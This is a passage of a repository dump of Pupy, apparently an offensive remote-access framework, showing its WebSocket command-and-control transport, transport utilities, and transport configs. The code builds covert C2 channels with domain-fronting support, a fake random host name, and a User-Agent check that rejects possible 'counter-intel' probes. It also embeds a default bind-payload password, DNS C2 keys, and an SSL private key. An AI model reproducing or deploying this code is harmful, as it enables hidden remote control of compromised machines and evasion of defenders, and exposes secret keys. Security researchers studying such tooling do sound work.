18446744073709551616\nOPCODE_CONTINUATION = 0x0\nOPCODE_TEXT         = 0x1\nOPCODE_BINARY       = 0x2\nOPCODE_CLOSE_CONN   = 0x8\nOPCODE_PING         = 0x9\nOPCODE_PONG         = 0xA\n\n\nclass InvalidHTTPReq(Exception):\n    __slots__ = ()\n\n\ndef add_ws_encapsulation(data, output, mask=None, opcode=OPCODE_BINARY):\n    payload_len = len(data)\n    header = None\n    mask_flag = MASKED if mask else 0\n\n    if payload_len < PAYLOAD_LEN_EXT16:\n        header = struct.pack('BB', opcode, payload_len | mask_flag)\n    elif payload_len >= PAYLOAD_LEN_EXT16 and payload_len <= 65535:\n        header = struct.pack(\n            '>BBH', opcode, PAYLOAD_LEN_EXT16 | mask_flag, payload_len)\n    elif payload_len < PAYLOAD_LEN_MAX:\n        header = struct.pack(\n            '>BBQ', opcode, PAYLOAD_LEN_EXT64 | mask_flag, payload_len)\n    else:\n        raise Exception('Message too large to send without fragmentation')\n\n    modificator = None\n    if mask:\n        header += mask\n        modificator = XOR(mask).strxor\n    output.write(header, notify=False)\n    data.write_to(output, modificator=modificator)\n\n\ndef remove_ws_encapsulation(data, output, buf, offset, remainder, mask=None):\n    if remainder:\n\n        encoder = None\n        modificator = None\n        if mask:\n            encoder = XOR(mask, offset)\n            modificator = encoder.strxor\n\n        _, total_write = data.write_to(\n            buf, n=remainder, modificator=modificator)\n\n        remainder -= total_write\n        if not remainder:\n            _, msg_len = buf.write_to(output)\n            return msg_len, encoder.offset if encoder else 0, remainder, mask\n        else:\n            return 0, encoder.offset if encoder else 0, remainder, mask\n\n    if len(data) < 2:\n        # Header too short\n        dprint('Short read / 1: %d', len(data))\n\n        return 0, offset, remainder, mask\n\n    b1, b2 = struct.unpack('BB', data.peek(2))\n    opcode = b1 & OPCODE\n    masked = b2 & MASKED\n    payload_len = b2 & PAYLOAD_LEN\n    mask_len = MASK_LEN if masked else 0\n\n    dprint('b1=%02x b2=%02x len=%d', b1, b2, payload_len)\n\n    if not b1:\n        raise EOFError('Client closed connection')\n    elif opcode == OPCODE_CLOSE_CONN:\n        raise EOFError('Client asked to close connection')\n    elif opcode == OPCODE_CONTINUATION:\n        raise EOFError('Continuation frames not currently supported')\n    elif opcode == OPCODE_PING:\n        raise EOFError('Pings not supported')\n    elif opcode == OPCODE_PONG:\n        raise EOFError('Pongs not supported')\n    elif masked and not mask:\n        raise EOFError('Masked message')\n\n    if payload_len == PAYLOAD_LEN_EXT16:\n        if len(data) < 2 + 2 + mask_len:\n            # Header too short\n            dprint('Header too short: %d < %d', len(data), 2 + 2 + mask_len)\n            return 0, offset, remainder, bool(mask_len)\n\n        _, _, payload_len = struct.unpack('>BBH', data.read(4))\n\n    elif payload_len == PAYLOAD_LEN_EXT64:\n        if len(data) < 2 + 8 + mask_len:\n            # Header too short\n            dprint('Header too short: %d < %d', len(data), 2 + 8 + mask_len)\n            return 0, offset, remainder, bool(mask_len)\n\n        _, _, payload_len = struct.unpack('>BBQ', data.read(10))\n    else:\n        if len(data) < 2 + mask_len:\n            dprint('Header too short: %d < %d', len(data), 2 + mask_len)\n            return 0, offset, remainder, bool(mask_len)\n\n        # payload_len is b2, drain b1, b2\n        data.drain(2)\n\n    encoder = None\n    modificator = None\n    if mask_len:\n        mask = data.read(mask_len)\n        encoder = XOR(mask)\n        modificator = encoder.strxor\n\n    if len(data) >= payload_len:\n        _, msg_len = data.write_to(\n            output, modificator=modificator, n=payload_len)\n\n        return msg_len, encoder.offset if encoder else 0, remainder, mask\n\n    _, written = data.write_to(buf, modificator=modificator)\n    remainder = payload_len - written\n    return 0, encoder.offset if encoder else 0, remainder, mask\n\nif sys.version_info[0]>2:\n    def gen_random_key(size=16):\n        return bytes(random.getrandbits(8) for _ in range(size))\nelse:\n    def gen_random_key(size=16):\n        return ''.join(random.sample(string.printable,size))\n\nclass PupyWebSocketTransport(BasePupyTransport):\n    \"\"\"\n    Implements the http protocol transport for pupy.\n    \"\"\"\n    __slots__ = ()\n\n\nclass PupyWebSocketClient(PupyWebSocketTransport):\n    socketkey = gen_random_key()\n\n    __slots__ = (\n        'host', 'path', 'user_agent', 'offset',\n        'missing_bytes', 'decoded', 'upgraded', 'mask',\n        'connect', 'proxy', 'auth', 'upgraded_buf'\n    )\n\n    def __init__(self, *args, **kwargs):\n        PupyWebSocketTransport.__init__(self, *args, **kwargs)\n\n        self.upgraded = False\n        self.missing_bytes = 0\n        self.offset = 0\n        self.decoded = Buffer()\n        self.upgraded_buf = Buffer()\n        self.user_agent = kwargs.get('user-agent')\n        self.path = kwargs.get('path')\n        self.connect = kwargs.get('connect', None)\n\n        self.proxy = kwargs.get('proxy', False)\n        self.auth = kwargs.get('auth', None)\n        self.host = kwargs.get('host', None)\n\n        if self.connect is None and self.host is not None:\n            if ':' in self.host:\n                host, port = self.host.rsplit(':', 1)\n                port = int(port)\n                self.connect = host, port\n            else:\n                self.connect = self.host, 80\n\n        if self.host is None:\n            self.host = 'www.' + ''.join(\n                random.sample(string.lowercase + '.-',16)) + '.net'\n\n        dprint(\n            'WS Client, path=%s, user-agent=%s host=%s',\n            self.path, self.user_agent, self.host)\n\n    def on_connect(self):\n        uri = self.path\n        if self.proxy and self.connect:\n            host, port = self.connect\n            if port != 80:\n                uri = (':' + str(port)) + uri\n\n            uri = 'http://' + host + uri\n\n        payload = [\n            b'GET ', uri.encode('utf8'), b' HTTP/1.1\\r\\n',\n            b'Host: ', self.host.encode('utf8'), b'\\r\\n',\n            b'User-Agent: ', self.user_agent.encode('utf8'), b'\\r\\n',\n            b'Upgrade: websocket\\r\\n',\n            b'Connection: Upgrade\\r\\n'\n        ]\n\n        if self.proxy and self.auth:\n            payload.append(b'Proxy-Authorization: Basic ')\n            payload.append(\n                base64.b64encode(b'{}:{}'.format(*self.auth))\n            )\n\n        payload.extend((\n            b'Sec-WebSocket-Key: ', base64.b64encode(self.socketkey), b'\\r\\n',\n            b'Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits\\r\\n',\n            b'Sec-WebSocket-Version: 13\\r\\n\\r\\n'\n        ))\n\n        dprint('Send upgrade request')\n        self.downstream.write(b''.join(payload))\n\n    def upstream_recv(self, data):\n        \"\"\"\n            raw data to websocket frame\n            Encoding Client -> Server\n            mask the data\n        \"\"\"\n        try:\n            mask = gen_random_key(size=MASK_LEN)\n            if self.upgraded:\n                add_ws_encapsulation(data, self.downstream, mask)\n            else:\n                add_ws_encapsulation(data, self.upgraded_buf, mask)\n\n        except Exception as e:\n            dprint(\"error in upstream_recv: %s\", e)\n            raise EOFError(str(e))\n\n    def downstream_recv(self, data):\n        \"\"\"\n            Decoding Server -> Client\n            Non masked messages\n        \"\"\"\n        try:\n            if not self.upgraded:\n                #let's parse HTTP responses :\n                d = data.peek(len(UPGRADE_101_SUCCESS))\n                if len(d) < len(UPGRADE_101_SUCCESS):\n                    # Short answer\n                    dprint('Short answer (%s)', repr(d))\n                    return\n                elif not d.startswith(b'HTTP/'):\n                    raise EOFError('Invalid data')\n                elif d.startswith(b'HTTP/') and not d.startswith(UPGRADE_101_SUCCESS):\n                    raise EOFError('Invalid response: {}'.format(repr(data.read())))\n\n                d = data.peek()\n                if b'\\r\\n\\r\\n' not in d:\n                    dprint('Incomplete header')\n                    return\n\n                EOFP = d.index(b'\\r\\n\\r\\n')\n                data.drain(EOFP + 4)\n                dprint('Connection upgraded')\n\n                self.upgraded = True\n\n                if self.upgraded_buf:\n                    dprint('Flush buffer %d', len(self.upgraded_buf))\n\n                    self.upgraded_buf.write_to(self.downstream)\n\n            dprint('Parse ws messages')\n\n            while data:\n                msg_len, self.offset, self.missing_bytes, _ = remove_ws_encapsulation(\n                    data, self.upstream, self.decoded, self.offset, self.missing_bytes\n                )\n\n                dprint(\n                    'Parsed: %d, offset: %d, missing: %d, left: %d',\n                    msg_len, self.offset, self.missing_bytes, len(data))\n\n                if not msg_len:\n                    break\n\n        except Exception as e:\n            dprint(\"error in downstream_recv: %s\", e)\n            raise EOFError(str(e))\n\n\nclass PupyWebSocketServer(PupyWebSocketTransport):\n    __slots__ = (\n        'user_agent', 'path', 'offset', 'upgraded_buf',\n        'missing_bytes', 'upgraded', 'decoded', 'mask',\n    )\n\n    def __init__(self, *args, **kwargs):\n        PupyWebSocketTransport.__init__(self, *args, **kwargs)\n        self.upgraded = False\n        self.user_agent = kwargs.pop('user-agent').encode('utf8')\n        self.path = kwargs.pop('path').encode('utf8')\n        self.mask = True\n        self.offset = 0\n        self.missing_bytes = 0\n        self.decoded = Buffer()\n        self.upgraded_buf = Buffer()\n\n        dprint(\n            'WS Server, path=%s, user-agent=%s',\n            self.path, self.user_agent)\n\n    def calculate_response_key(self, key):\n        GUID = b'258EAFA5-E914-47DA-95CA-C5AB0DC85B11'\n        hsh = sha1(key + GUID)\n        return base64.b64encode(hsh.digest()).strip()\n\n    def bad_request(self, msg):\n        dprint(msg)\n\n        self.downstream.write(error_response)\n        self.close()\n\n    def upstream_recv(self, data):\n        \"\"\"\n            Encoding server -> client messages\n            Messsages shouldn't be masked\n        \"\"\"\n        try:\n            if self.upgraded:\n                add_ws_encapsulation(data, self.downstream)\n            else:\n                add_ws_encapsulation(data, self.upgraded_buf)\n\n        except Exception as e:\n            dprint(\"error in upstream_recv: %s\", e)\n            raise EOFError(str(e))\n\n    def downstream_recv(self, data):\n        \"\"\"\n            Decoding client -> server messages\n            Message should be masked coming from client\n        \"\"\"\n        try:\n            if not self.upgraded:\n                dprint('WS: Wait for upgrade request')\n\n                d = data.peek()\n                # Handle HTTP GET requests, strip websocket keys, verify UA etc\n                if not d.startswith(b'GET '):\n                    self.bad_request('Invalid HTTP method or data ({})'.format(repr(d)))\n\n                if b'\\r\\n\\r\\n' not in d:\n                    dprint('Short read, incomplete header')\n                    return\n\n                _, path, _ = d.split(b' ', 2)\n                if path != self.path:\n                    self.bad_request('Path does not match ({} != {})!'.format(\n                        repr(path), repr(self.path)))\n                    return\n\n                wskey = None\n\n                key = re.search(b'\\n[sS]ec-[wW]eb[sS]ocket-[kK]ey[\\\\s]*:[\\\\s]*(.*)\\r\\n', d)\n                if key:\n                    wskey = key.group(1)\n                else:\n                    dprint('Unable to get WebSocketKey')\n\n                if self.user_agent:\n                    ua = re.search(b'\\n[uU]ser-[aA]gent:[\\\\s]*(.*)\\r\\n', d)\n                    if ua:\n                        ua = ua.group(1)\n                    else:\n                        self.bad_request('No User-Agent provided')\n                        return\n\n                    if ua != self.user_agent:\n                        self.bad_request(\n                            'Bad User-Agent provided. May be counter-intel ({} != {})'.format(\n                                ua, self.user_agent))\n                        return\n\n                payload = [\n                    b'HTTP/1.1 101 Switching Protocols\\r\\n'\n                    b'Upgrade: websocket\\r\\n'\n                    b'Connection: Upgrade\\r\\n'\n                ]\n\n                if wskey:\n                    payload.extend((\n                        b'Sec-WebSocket-Accept: ', self.calculate_response_key(wskey), b'\\r\\n'\n                    ))\n\n                payload.append(b'\\r\\n')\n\n                data.drain(d.index(b'\\r\\n\\r\\n') + 4)\n\n                dprint('Flush upgrade response')\n                self.downstream.write(b''.join(payload))\n\n                if self.upgraded_buf:\n                    dprint('Flush buffer %d', len(self.upgraded_buf))\n\n                    self.upgraded_buf.write_to(self.downstream)\n\n                self.upgraded = True\n\n            while data:\n                msg_len, self.offset, self.missing_bytes, self.mask = remove_ws_encapsulation(\n                    data, self.upstream, self.decoded,\n                    self.offset, self.missing_bytes, self.mask)\n\n                dprint(\n                    'Parsed: %d, offset: %d, missing: %d, left: %d',\n                    msg_len, self.offset, self.missing_bytes, len(data))\n\n                if not msg_len:\n                    break\n        except Exception as e:\n            dprint(\"error in downstream_recv: %s\", e)\n            raise EOFError(str(e))\n"
  },
  {
    "path": "pupy/network/lib/utils.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at\n# the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'TransportInfo', 'TransportException',\n    'create_client_transport_info_for_addr',\n    'parse_host', 'parse_transports_args',\n    'HostInfo'\n)\n\n\nimport sys\nimport shlex\nimport netaddr\n\nfrom collections import namedtuple\nfrom pupy.network.conf import transports\n\nif sys.version_info.major > 2:\n    basestring = str\n\nTransportInfo = namedtuple(\n    'TransportInfo', [\n        'host', 'port', 'transport',\n        'transport_args', 'client_args'\n    ])\n\nHostInfo = namedtuple(\n    'HostInfo', [\n        'host', 'port', 'hostname'\n    ])\n\n\nclass TransportException(Exception):\n    pass\n\n\ndef error(message, exit=True):\n    if exit:\n        raise SystemExit(message)\n    else:\n        raise TransportException(message)\n\n\ndef parse_transports_args(args, exit=True):\n    if not isinstance(args, basestring):\n        args = ' '.join(args)\n\n    result = {}\n\n    for value in shlex.split(args):\n        if '=' not in value:\n            error(\n                'Transport arguments must be in format '\n                'NAME=VALUE or \"NAME=value with spaces\"',\n                exit=exit)\n\n        key, value = value.split('=', 1)\n\n        result[key.lower()] = value\n\n    return result\n\n\ndef parse_host(host, default_port=443, hostname=None):\n    port = default_port\n\n    if ':' in host:\n        try:\n            netaddr.IPAddress(host)\n        except netaddr.AddrFormatError:\n            host, port = host.rsplit(':', 1)\n            port = int(port)\n\n    if host.startswith('[') and host.endswith(']'):\n        host = host[1:-1]\n\n    return HostInfo(host, port, hostname or host)\n\n\ndef create_client_transport_info_for_addr(\n    transport_name,\n        hostinfo, opt_args={}, bind_payload=None, exit=True):\n\n    host, port, hostname = hostinfo\n    if hostname is None:\n        hostname = host\n\n    if transport_name not in transports:\n        error('Unregistered transport {}'.format(transport_name), exit=exit)\n\n    transport_klass = transports[transport_name]\n    transport = transport_klass(bind_payload=bind_payload)\n\n    transport_args = transport.client_transport_kwargs\n    client_args = transport.client_kwargs\n\n    if 'host' not in opt_args:\n        if ':' in hostname:\n            hostname = '[' + hostname + ']'\n\n        transport_args['host'] = '{}{}'.format(\n            hostname, ':{}'.format(port) if port != 80 else ''\n        )\n\n    for key, value in opt_args.items():\n        if key in client_args:\n            client_args[key] = value\n        elif key in transport_args:\n            transport_args[key] = value\n        else:\n            error('Unknown transport argument: {}'.format(key), exit=exit)\n\n    return TransportInfo(host, port, transport, transport_args, client_args)\n"
  },
  {
    "path": "pupy/network/transports/__init__.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root\n# of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__=[\n    \"Transport\",\n    \"LAUNCHER_TYPE_ALL\",\n    \"LAUNCHER_TYPE_BIND\", \"LAUNCHER_TYPE_CONNECT\", \"LAUNCHER_TYPE_DNSCNC\",\n    \"DEFAULT_RSA_PUB_KEY\", \"DEFAULT_SSL_BIND_CERT\", \"DEFAULT_SSL_BIND_KEY\",\n    \"DEFAULT_DNSCNC_PUB_KEY\", \"DEFAULT_DNSCNC_PRIV_KEY\",\n    \"DEFAULT_BIND_PAYLOADS_PASSWORD\"\n]\n\nclass TransportException(Exception):\n    pass\n\nLAUNCHER_TYPE_ALL=0\nLAUNCHER_TYPE_CONNECT=1\nLAUNCHER_TYPE_BIND=2\nLAUNCHER_TYPE_DNSCNC=3\n\nDEFAULT_BIND_PAYLOADS_PASSWORD=\"PuPyD3f4ultP4sSw0rd\"\n\nDEFAULT_DNSCNC_PUB_KEY='v6iJnUBFI1qeQ9jrP2NZsTd4qwYB'\nDEFAULT_DNSCNC_PRIV_KEY='XqYoPdC5LR8Ct0givPQRBlKv41o='\n\nDEFAULT_RSA_PUB_KEY=\"\"\"\n-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAu1AvqNawlgXdpT3s0/YoOSj3bSsGOd2UXrDKmEt3VkGvDVyxllwm\n9TctdCIS8X9ziOtpSH2yYcS1zwVD0qb/Dt6im6Z0jiaiizsZPqJL16SfmP7b41ub\niCcM4a3gI1wRxt3HtBDgqPVZTqsKPsC3m6fiWfOQCy9CmLSBlwwE+9+elnUG4pvA\nXQn0KDdrnzo5qGLxFyj9/jLI4y+rhS9DlwgsmFd42MCaJ/CgceM7QChN0zjxxT23\nY/RSR6wnYKasDbz7KoCa/QkYpvN4XqmvUZVQDI2y8F87ta/Cqo3UMEz5hNYt96LU\nKN2qXNVOeiCO57tFFriWnKk6cAFHgrGzwA23xKUYB9/YivaEMjrh7C3907B+I1bK\nt/BXOxdRwbTHkWQWrpxfUGs+5LJzwwsixzNJOifqgFyZTef6EyNTwSyr0oRslNk7\nJIrE1Lab5Ve26+M92pCrs/UOIxpSWSKRmJeWcyAiw3crYrzAxC9r654BnmCfeWtn\nMRAWmUrljx6aJSojTAbeY9aDDrYQRuQ7VevO+SHxYwOG/1Jq+qgznTN3zroUI97w\n5g1oVVJrthUrYQZYKboaiEZmQckxLU5ca9pAyXu/o4pa1ez4a14YbollG9bjSnbK\n+qRicAn26w5undwWlPX52DnrOw0v9sAqazfzG5rMH7mKWnSDvHPWOAsCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n\"\"\"\nDEFAULT_SSL_BIND_CERT = \"\"\"\n-----BEGIN CERTIFICATE-----\nMIIDczCCAlugAwIBAgIJAK4ksVkg9NIlMA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNV\nBAYTAkZSMQwwCgYDVQQIDANQT1UxDjAMBgNVBAcMBUpBSVVZMQ8wDQYDVQQKDAZM\nT0xJVEExEjAQBgNVBAsMCVMgQ09NTUUgPzAeFw0xNjA3MTUxODQyMTNaFw0xOTA0\nMTExODQyMTNaMFAxCzAJBgNVBAYTAkZSMQwwCgYDVQQIDANQT1UxDjAMBgNVBAcM\nBUpBSVVZMQ8wDQYDVQQKDAZMT0xJVEExEjAQBgNVBAsMCVMgQ09NTUUgPzCCASIw\nDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyq22QP5r5i9J3hfZDY0ja3098A\nlAYUq7Ua62d1iJvsp7QyTLO8q5Q5MVkeUI+J2qU2VUPsCo6TA9qW9CYMEWAuRE50\noG/Q3lGCXmh6QoExgQs5BzVj0q9b+l+O9DYqt4SCwkp6jHRedM05W98L9qM1yPkc\nbfQjWhN6V0kHjdVSchomReUtS5JrDasKklBSSJ2Au4bOTzt+VKO8YYEaC/sASBT+\nW1Z5XfSDWxnDyks94GGEgIetMmFhYAlhy3cuWCmDCeLDZKmLYS1ufSyEGQBz002S\nIedKJM9h/Cf64oNer1qgMYxdsX1zwSEhIZz7osk6H9eE/AgrHfnkWDNzjbMCAwEA\nAaNQME4wHQYDVR0OBBYEFEhJiWWQoxVJK37zDDZzQhue/rxKMB8GA1UdIwQYMBaA\nFEhJiWWQoxVJK37zDDZzQhue/rxKMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEL\nBQADggEBAMWbHWK1ZJcTvsmaM9/7P0bpBmN8pg86nZBkGKdUjm2jPjIHOavW7pSU\nVEhV1g6aXHX8E6eiG82uh49FCWcmWMbKGQFxpueCOR7cASbGeeIiOugnOoLtfS/D\nPC39Fc2t6AqB1RfTlG66UFOIf2SRfHwP5JKSoKxwF/JYXoEppbiQ0ew2JXIsRzgI\n+HHjl0I72fjwPi/f4LQh8cLvD4roiiuneCmqelsW3Bx9rZ9HMPCVhnmqHOgjgMV0\nYv+23qYfV56D4ZsKHzbYgb2RjfGKyN1tt8UfkpGSecekPN9yj6AiWAeG8DJcxWja\n9CuF53F4g+3ShRW8KtA29CgJBq5PQFY=\n-----END CERTIFICATE-----\n\"\"\"\nDEFAULT_SSL_BIND_KEY = \"\"\"\n-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcqttkD+a+YvSd\n4X2Q2NI2t9PfAJQGFKu1GutndYib7Ke0MkyzvKuUOTFZHlCPidqlNlVD7AqOkwPa\nlvQmDBFgLkROdKBv0N5Rgl5oekKBMYELOQc1Y9KvW/pfjvQ2KreEgsJKeox0XnTN\nOVvfC/ajNcj5HG30I1oTeldJB43VUnIaJkXlLUuSaw2rCpJQUkidgLuGzk87flSj\nvGGBGgv7AEgU/ltWeV30g1sZw8pLPeBhhICHrTJhYWAJYct3Llgpgwniw2Spi2Et\nbn0shBkAc9NNkiHnSiTPYfwn+uKDXq9aoDGMXbF9c8EhISGc+6LJOh/XhPwIKx35\n5Fgzc42zAgMBAAECggEAXBUgP/0yuLfqhAeYsl0IO7UyQJipLHBrxsNZAG9Xdlmn\nEdb7kvVkVBIZuaqgy4UnLFIj+pgBP8WxkgH0F/xpM82ay3J3kLGEVFcmtkpufiL+\nSoSdsXXacTrcnAu3dPMWacF2+kVxXw4bh5gr8kO3xBuppeprJ7mo2P/wdJUmZqGe\nSjkZew7mn6CZrSzHZZRupw/qWCu6DcRZsj0I7UnaYDCQdz4ajB6Qn+Zm1wdATpl9\nIYJpe93sIvcbcVgIHsGPoLgvgAWi+ShJBY4732/Ir5qqXcRcrBvvwNGayswONdpp\nJczPjO1O0xoDxf7NeNHd8M6wuiFzNHzrTCkd+04pQQKBgQD5hhZUX+Y02A3x1QX5\nKw1txB199nV4gQ3fGdifktIGRKBEmqQwB4EJqSRHaaXMdh/rfK7xXGRiULNbRl9c\nq2Fbf8THpgyNXVdlMRtcWQrGFLMHgo1llz5k6VqNPbEWQHUYKvu6hZSA5WuYW6Gt\nU4K4k07a71Yo+/sMZS04x4qwKQKBgQDiZQoHuRh+WPGFmMZv3GfmT8JogrLBvvwg\ntIysFF9j3P0xzBEjT+7i98UCacdtxUyTecm8kQYDipowRETOXOC8FuRpU3gYbELw\n9cdzhdHWuiWTNk42yQ6Yucu2/WUo10HQ/yKPuQunb2Xj81eB2FMla8GxVcvskNkq\nK8uVjR7aewKBgFJ3upGQUGlOru0qVpsPW5TXqFelSRXWsVr3E91JjRh9PeruoS0u\njbs/p7nidOWqdMpDnx4uRw8nVN/p1kKucbLn+4Vwn91o6CWNoVlYJHNrC/CDeXAG\nGJ0JcuATb5/HFewy6Jew5m/jYzgrsLe0ThPqu7koOPW6sjJajiOh73hhAoGBAIXT\nXD58d7IYOYzTZlmxW+mUtEK7H5fPoZJjp9QApvKNK05IZskM8xVPiTGH/c8xlbaH\ng2zn/ToSsFpfwJyL4nzMu3BXWuJ0/I0bfC8Zp5TarGN88ncIGozFJ1qgJzAhLlKw\nvmle5TiwbPZ2Xf/vNBcmv3RoVwccCIMZKFra9KYJAoGAXUN+JuAgg4PD895vHycu\nlhQSPXHIeyYb66H3DxoeHB3zxTHKlWOekBWk2HQ/19THedXpY5hDKayvFLbTMNZz\nANvQJD17X6lG7svjuvIbB4EA4Ho9oWJfD+R6u8xpBFm2kqd0A2BqqOlyvkYtU4FD\nZWz7p5p+MA8a2SjqgYP6Dlo=\n-----END PRIVATE KEY-----\n\"\"\"\n\n\n\nclass Transport(object):\n    info=\"no description available\"\n    server=None\n    client=None\n    client_kwargs={}\n    authenticator=None\n    stream=None\n    client_transport=None\n    server_transport=None\n    dependencies=[] # dependencies needed when generating payloads\n    credentials=[] # list of credentials to embbed during payload generation\n    name=None\n    launcher_type=LAUNCHER_TYPE_ALL\n    dgram=False\n    internal_proxy_impl = []\n\n    def __init__(self, bind_payload=False):\n        super(Transport, self).__init__()\n        self.bind_payload=bind_payload\n        if self.bind_payload:\n            self.launcher_type=LAUNCHER_TYPE_BIND\n        self.client_transport_kwargs={}\n        self.server_transport_kwargs={}\n\n    def parse_args(self, args):\n        \"\"\" parse arguments and raise an error if there is missing/incorrect arguments \"\"\"\n        self.client_transport_kwargs.update(args)\n        self.server_transport_kwargs.update(args)\n"
  },
  {
    "path": "pupy/network/transports/dfws/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/dfws/conf.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupySSLClient, PupySocketStream\nfrom pupy.network.lib import RSA_AESClient, RSA_AESServer, PupyWebSocketClient, PupyWebSocketServer\nfrom pupy.network.lib import chain_transports\n\nfrom hashlib import md5\n\nDEFAULT_USER_AGENT = \\\n  'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 ' \\\n  '(KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'\n\nclass TransportConf(Transport):\n    info = \"TCP transport using Websocket with RSA+AES with support of domain fronting\"\n    name = \"dfws\"\n    server = PupyTCPServer\n    client = PupySSLClient\n    client_kwargs = {\n        'ssl_auth': False,\n    }\n    stream = PupySocketStream\n    credentials = ['SIMPLE_RSA_PRIV_KEY', 'SIMPLE_RSA_PUB_KEY', 'PATH_GEN_SECRET']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n\n        try:\n            import pupy_credentials\n            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY\n            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY\n            PATH_GEN_SECRET = pupy_credentials['PATH_GEN_SECRET']\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']\n            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']\n            PATH_GEN_SECRET = credentials['PATH_GEN_SECRET']\n\n        self.client_transport_kwargs.update({\n            'host': None,\n            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b\"dfws\").hexdigest()[:8]),\n            'user-agent': DEFAULT_USER_AGENT\n        })\n\n        self.server_transport_kwargs.update({\n            'path': '/ws/' + ''.join(md5(PATH_GEN_SECRET+b\"dfws\").hexdigest()[:8]),\n            'user-agent': DEFAULT_USER_AGENT\n        })\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = chain_transports(\n                    PupyWebSocketClient,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyWebSocketServer,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n\n        else:\n            self.client_transport = chain_transports(\n                    PupyWebSocketClient,\n                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),\n                )\n            self.server_transport = chain_transports(\n                    PupyWebSocketServer,\n                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),\n                )\n"
  },
  {
    "path": "pupy/network/transports/ec4/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/ec4/conf.py",
    "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.network.transports import Transport, LAUNCHER_TYPE_BIND\nfrom pupy.network.lib import PupyTCPServer, PupyTCPClient, PupySocketStream\nfrom pupy.network.lib import EC4TransportClient, EC4TransportServer\n\nclass TransportConf(Transport):\n    info = \"ECPV + RC4\"\n    name = \"ec4\"\n    server = PupyTCPServer\n    client = PupyTCPClient\n    stream = PupySocketStream\n    client_transport = EC4TransportClient\n    server_transport = EC4TransportServer\n    credentials = ['ECPV_RC4_PUBLIC_KEY', 'ECPV_RC4_PRIVATE_KEY']\n\n    def __init__(self, *args, **kwargs):\n        Transport.__init__(self, *args, **kwargs)\n        try:\n            import pupy_credentials\n            PUB_KEY = pupy_credentials.ECPV_RC4_PUBLIC_KEY\n            PRIV_KEY = pupy_credentials.ECPV_RC4_PRIVATE_KEY\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            PUB_KEY = credentials['ECPV_RC4_PUBLIC_KEY']\n            PRIV_KEY = credentials['ECPV_RC4_PRIVATE_KEY']\n\n        if self.launcher_type == LAUNCHER_TYPE_BIND:\n            self.client_transport = EC4TransportServer.custom(privkey=PRIV_KEY)\n            self.server_transport = EC4TransportClient.custom(pubkey=PUB_KEY)\n\n        else:\n            self.server_transport = EC4TransportServer.custom(privkey=PRIV_KEY)\n            self.client_transport = EC4TransportClient.custom(pubkey=PUB_KEY)\n"
  },
  {
    "path": "pupy/network/transports/ecm/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/network/transports/ecm/conf.py",
